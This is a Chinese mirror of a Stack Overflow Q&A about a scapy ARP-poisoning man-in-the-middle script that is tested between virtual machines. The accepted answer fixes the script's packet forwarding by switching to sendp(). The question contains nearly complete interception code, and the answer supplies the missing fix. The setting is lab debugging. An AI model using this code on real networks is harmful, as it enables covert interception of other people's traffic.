python - 中间人用 scapy 攻击

标签 python network-programming exploit scapy man-in-the-middle

我正在尝试在测试网络上使用 scapy 进行中间人攻击。我的设置是这样的: enter image description here

现在你明白了,这是代码:

from scapy.all import *
import multiprocessing
import time
class MITM:
  packets=[]
  def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
    self.victim=victim
    self.node2=node2
    multiprocessing.Process(target=self.arp_poison).start()
    try:
      sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
    except KeyboardInterrupt as e:
      wireshark(packets)
    #self.arp_poison()
  def routep(self,packet):
    if packet.haslayer(IP):
      packet.show()
      if packet[IP].dst==self.victim[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.victim[1]
      elif packet[IP].dst==self.node2[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.node2[1]
      self.packets.append(packet)
      packet.display()
      send(packet)
      print len(self.packets)
      if len(self.packets)==10:
        wireshark(self.packets)
  def arp_poison(self):
    a=ARP()
    a.psrc=self.victim[0]
    a.pdst=self.node2[0]
    b=ARP()
    b.psrc=self.node2[0]
    b.pdst=self.victim[0]
    cond=True
    while cond:
      send(b)
      send(a)
      time.sleep(5)
      #cond=False
if __name__=="__main__":
  mitm=MITM()

此代码在 VM2 上运行。

Arp 中毒工作正常,我检查了两台机器的 arp 缓存,行为符合我的预期。但是在 routep 中,我修改了 src 和 dst mac 地址并尝试将接收到的数据包发送到适当的主机,scapy 给出了警告:

WARNING: more Mac address to reach destination not found. Using broadcast

而且我在 VM2 上的 wireshark 中看到,修改后的数据包没有离开机器。为什么会这样呢?我错过了什么吗?

最佳答案

如果你使用scapy的send(),它在第三层起作用。来自 scapy 的文档:

The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2.

如果您要使用 sendp(),它不会使用目标 Mac 地址的默认值,您的警告也会消失。

关于python - 中间人用 scapy 攻击,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/12659553/

相关文章:

c - 需要帮助了解缓冲区溢出及其利用

python - pymssql 中的 freetds.log 文件非常大。如何禁用?

java - "java.io.IOException: Connection timed out"和 "SocketTimeoutException: Read timed out"有什么区别

代码漏洞

Java 网络 - 在同一线程中的不同端口上并行启动多个服务器套接字

performance - 您使用什么来测试(功能/负载/压力)您的网络服务及其自定义协议(protocol)?

c - 利用缓冲区溢出读取操作

python - 数据框到 frozenset

python - Pandas 根据字典替换行的索引

python - 在 Python 2.5 中使用 Python 2.6 子进程模块